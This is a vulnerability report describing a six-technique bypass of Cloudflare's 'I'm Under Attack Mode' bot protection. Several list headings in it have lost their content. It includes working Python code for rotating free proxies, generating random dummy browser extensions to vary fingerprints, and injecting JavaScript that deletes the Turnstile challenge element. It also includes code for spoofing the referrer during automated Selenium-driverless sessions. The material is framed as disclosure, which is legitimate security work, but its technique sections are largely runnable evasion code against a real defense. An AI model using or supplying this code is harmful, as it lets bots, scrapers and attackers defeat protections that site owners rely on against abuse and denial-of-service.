Home GitHub

Cloudflare IUAM: Critical Bypass Vulnerability Report

Andrew Campi
August 23rd, 2024

Executive Summary

Introduction
This report details a critical vulnerability discovered in Cloudflare's "I'm Under Attack Mode" (IUAM) protection. My research has uncovered a method that consistently bypasses IUAM, allowing automated access to protected resources as if the IUAM protection was not present.

Vulnerability Overview

Key Findings

Immediate Concerns
This vulnerability fundamentally undermines the protective capabilities of IUAM, potentially exposing Cloudflare customers to:

Cloudflare's Critical Security Features

Cloudflare has established itself as a leader in web security, with a particular focus on protecting against Distributed Denial of Service (DDoS) attacks and unwanted web scraping. These security features are a primary reason for Cloudflare's widespread adoption among websites of all sizes.

DDoS Protection
Cloudflare's DDoS protection is one of its most critical and widely-used security features:
1. Massive Network Capacity

2. Multi-Layer Protection

3. Intelligent Threat Detection

4. Unmetered Mitigation

Anti-Scraping and Bot Protection
Cloudflare offers robust features to prevent unauthorized web scraping and bot activities:
1. Bot Fight Mode

2. Rate Limiting

3. User Agent Blocking

4. IP Reputation Database

5. JavaScript Detection

6. "I'm Under Attack" Mode (IUAM)

7. API Shield

The Importance and Usage of Cloudflare's “I'm Under Attack Mode” (IUAM)

Cloudflare's "I'm Under Attack" Mode (IUAM) is a critical security feature designed to provide an additional layer of protection during intense periods of suspected automated attacks. Its significance in web security cannot be overstated, particularly for sites facing persistent threats from bots, scrapers, and DDoS attacks.

Core Functionality of IUAM
1. Challenge Page

2. Advanced Bot Detection

3. Adaptive Challenge Difficulty

Importance in Web Security
1. Last Line of Defense

2. Minimal Impact on Legitimate Users

3. Effective Against Various Threats

4. Protects Origin Servers

Usage Scenarios
1. During Active Attacks

2. Preventive Measures

3. Customized Deployment

Technical Deep Dive and Vulnerability Details

Introduction
The vulnerability discovered in Cloudflare's "I'm Under Attack" Mode (IUAM) represents a significant breach in what is widely regarded as one of the most robust anti-bot and anti-scraping systems available today. This bypass is not the result of a single flaw or oversight, but rather a sophisticated combination of multiple techniques that, when employed together, create a consistently successful method for circumventing IUAM protections.
The effectiveness of this bypass method lies in its multifaceted approach, addressing various aspects of IUAM's detection mechanisms simultaneously. By leveraging a synergistic set of techniques, this method exploits gaps in IUAM's defense layers, effectively rendering the protection mechanism ineffective against a well-implemented attack.

Key aspects of this bypass include:

The implications of this vulnerability are very significant. IUAM is often employed as a last line of defense against determined attackers, particularly during high-stress scenarios such as active DDoS attacks or aggressive scraping attempts. A reliable method to bypass IUAM essentially nullifies this critical layer of protection, potentially exposing Cloudflare's clients to the very threats they rely on IUAM to mitigate.

In the following sections, I will detail the technical details of each component, hereon referred to as “techniques”, of this comprehensive bypass method. The following will explore how these techniques work individually and, more importantly, how their combination creates a synergistic effect that successfully circumvents IUAM's multi-layered defenses. This analysis will cover the underlying principles, implementation details, and the rationale behind each aspect of the bypass method.

Understanding the intricacies of this vulnerability is crucial not only for addressing the immediate security concern but also for insights into potential improvements in anti-bot technologies. The sophistication of this multi-part bypass method highlights the ongoing challenges in the field of web security and the constant evolution required to stay ahead of potential threats.

Technique #1: Rotating Residential Proxies

Overview
The use of rotating residential proxies is a critical component of this multi-part bypass method. This technique is particularly effective due to its ability to mimic legitimate user traffic, making it difficult for Cloudflare's security systems to distinguish between authentic users and automated requests.

Why It's Effective

Implementation Code

from fp.fp import FreeProxy def random_proxy(from_list=False): if from_list: good_proxies \= read_json("good_proxies.json")["proxies"] if len(good_proxies) > 0: return random.choice(good_proxies) try: return FreeProxy(rand=True, country_id=['CA'], https=True, timeout=4).get() # Default search except: sleep(5) try: return FreeProxy(rand=True, country_id=['US', 'CA'], https=True, timeout=6).get() # Expand search except: sleep(4) return FreeProxy(rand=True, timeout=10).get() # At this point, any proxy will do

Code Breakdown

Technique #2: Usage of The Selenium-Driverless Library

Overview
This technique involves using a heavily modified version of Selenium that interacts directly with the Chrome DevTools Protocol, allowing for browser automation that closely mimics human-like behavior and bypasses common bot detection mechanisms.

Why It's Effective

Technique #3: Strictly Avoiding "Headless" Mode

Overview
Headless browsers, which operate without a graphical user interface, are commonly used in web scraping and automation tasks due to their lower resource requirements. However, in the context of bypassing sophisticated anti-bot systems like Cloudflare's IUAM, using a full browser instance with a complete graphical rendering pipeline is essential.

This technique involves running the browser in its standard mode, complete with full rendering capabilities, just as it would appear on a user's screen. By doing so, the automated browsing session presents itself as indistinguishable from a genuine user interaction from Cloudflare's perspective.

Why It's Effective

Technique #4: Crafting and Employing Custom Dummy Browser Extensions

Overview
The core idea of this novel technique is to manipulate the browser's fingerprint by introducing unique, dynamically generated extensions. This approach exploits the fact that Cloudflare's fingerprinting algorithm appears to consider installed browser extensions when generating a browser fingerprint.

By creating a dummy extension with a randomly generated name and description for each session, this technique aims to present a unique browser profile to Cloudflare's detection systems, making each automated session appear as a distinct, legitimate user.

Why It's Effective

Implementation Code

import os import json import random import names def generate_random_extension(): try: # Define the extension directory extension_dir \= "resources/dummy_extension" # Create the directory if it doesn't exist if not os.path.exists(extension_dir): os.makedirs(extension_dir) # Generate random name for the extension extension_name \= " ".join([names.get_first_name(), names.get_first_name(), names.get_last_name()]) # Generate random description with 5-10 names description \= " ".join([names.get_full_name() for _ in range(random.randint(5, 10))]) # Create manifest.json content manifest_content \= { "manifest_version": 3, "name": extension_name, "version": "1.0", "description": description, "background": { "service_worker": "background.js" }, "permissions": [] } # Write manifest.json manifest_path \= os.path.join(extension_dir, "manifest.json") with open(manifest_path, 'w') as manifest_file: json.dump(manifest_content, manifest_file, indent=4) # Create an empty background.js file background_js_path \= os.path.join(extension_dir, "background.js") with open(background_js_path, 'w') as background_js_file: background_js_file.write("// Empty background script\n") return True except Exception as e: print(f"Error: {e}") return False

Code Breakdown

Technique #5: Hit It With a Hammer

Overview
The "Hit It With a Hammer" technique is another novel approach to bypassing Cloudflare's "I'm Under Attack" Mode (IUAM) challenge, particularly when faced with the "I'm not a robot" button. This method exploits a vulnerability in how Cloudflare handles the challenge when certain elements are removed from the page. Instead of solving the challenge conventionally, this technique forcibly removes the challenge element, causing Cloudflare to repeatedly refresh the challenge until it eventually allows access as if the challenge was legitimately solved.

Why It's Effective

Implementation Code

import asyncio from selenium_driverless import webdriver import json import random import re import time from time import sleep import base64 async def cloudflare_bypass(driver, current_url): try: print("Starting Cloudflare bypass...") initial_page_source \= await driver.page_source if "you have been blocked" in initial_page_source: print("Blacklisted by cloudflare. Try a different proxy.") return None if ("erify you are human" in initial_page_source) or ("erifying you are human" in initial_page_source): print("Cloudflare page detected.") attempts \= 0 while attempts \< 2: print("Attempting to remove Turnstile wrapper element...") remove_script \= """ var element \= document.getElementById('turnstile-wrapper'); if (element) { element.parentNode.removeChild(element); console.log('Turnstile wrapper element removed'); return true; } else { console.log('Turnstile wrapper element not found'); return false; } """ result \= await driver.execute_script(remove_script) if result: print("Turnstile wrapper element successfully removed.") else: print("Failed to remove the element. Trying a different way...") remove_script \= """ var elements \= document.getElementsByClassName('spacer'); if (elements.length > 0) { elements[0].parentNode.removeChild(elements[0]); console.log('Turnstile wrapper element removed'); return true; } else { console.log('Turnstile wrapper element not found'); return false; } """ result \= await driver.execute_script(remove_script) if result: print("Turnstile wrapper element successfully removed.") else: print("Failed to remove Turnstile wrapper element. Element might not exist or have a different ID.") # Wait a bit for any potential page updates await asyncio.sleep(8) # Check if the challenge is completed new_page_source \= await driver.page_source if "erify you are human" not in new_page_source and "erifying you are human" not in new_page_source: print("Cloudflare challenge appears to be bypassed successfully.") return driver else: print("Cloudflare challenge may still be active. Trying again") attempts += 1 print("Cloud not bypass. Returning driver as None.") return None else: print("No Cloudflare page detected. Moving on.") return driver except Exception as e: print(f"Error bypassing Cloudflare: {e}") return driver

Code Breakdown

Technique #6: Using a Random URL as a Referrer

Overview
This technique involves manipulating the HTTP referrer header to make the traffic appear more legitimate to Cloudflare's "I'm Under Attack" Mode (IUAM) protection. The method works by first navigating to a neutral site (like http://example.com), then using injected JavaScript to redirect to the target site while setting a random URL as the referrer. This approach aims to mimic the behavior of a user naturally navigating from one site to another, rather than directly accessing the protected site.

Why It's Effective

Implementation Code

from selenium_driverless import webdriver import asyncio import os from time import sleep async def access_site_via_bypass(url): # Get a random proxy this_proxy \= random_proxy() print("Using proxy:", this_proxy) options \= webdriver.ChromeOptions() options.add_argument('--proxy-server=%s' % this_proxy) generate_random_extension() options.add_argument(f"--load-extension={os.path.abspath('resources/dummy_extension')}") # Allow all third-party cookies options.add_argument("--disable-features=SameSiteByDefaultCookies") options.add_argument("--disable-features=CookiesWithoutSameSiteMustBeSecure") async with webdriver.Chrome(options=options) as driver: try: await driver.get("https://example.com", wait_load=True) page_source \= await driver.page_source sleep(3) if "Example" not in page_source: return "Try a different proxy" # Use JavaScript to change the referrer and navigate to the final URL script \= f""" Object.defineProperty(document, 'referrer', {{get: () \=> '{random_url()}'}}); window.location.href \= "{url}"; """ await driver.execute_script(script) await asyncio.sleep(6) # Handle Cloudflare challenge driver \= await cloudflare_bypass(driver, url) if driver is None: return "Try a different proxy" page_source \= await driver.page_source if "been blocked" in page_source: return "Try a different proxy" # Access the site directly from here except Exception as e: print(f"An error occurred: {e}") return "An error occurred"

Code Breakdown

Conclusion

The six-part technique approach detailed in this report represents a sophisticated and alarmingly effective method for bypassing Cloudflare's "I'm Under Attack" Mode (IUAM) protection. By combining multiple strategies, this approach creates a synergistic effect that renders Cloudflare's advanced security measures largely ineffective.

Synergy of Techniques

When combined, these techniques create a formidable, very successful bypass method:

This layered approach addresses multiple aspects of Cloudflare's detection mechanisms simultaneously, making it extremely difficult for the protection system to identify the traffic as automated.

Impact on Cloudflare's Protection Efficacy
The discovery and implementation of this bypass method have severe implications for the efficacy of Cloudflare's IUAM protection: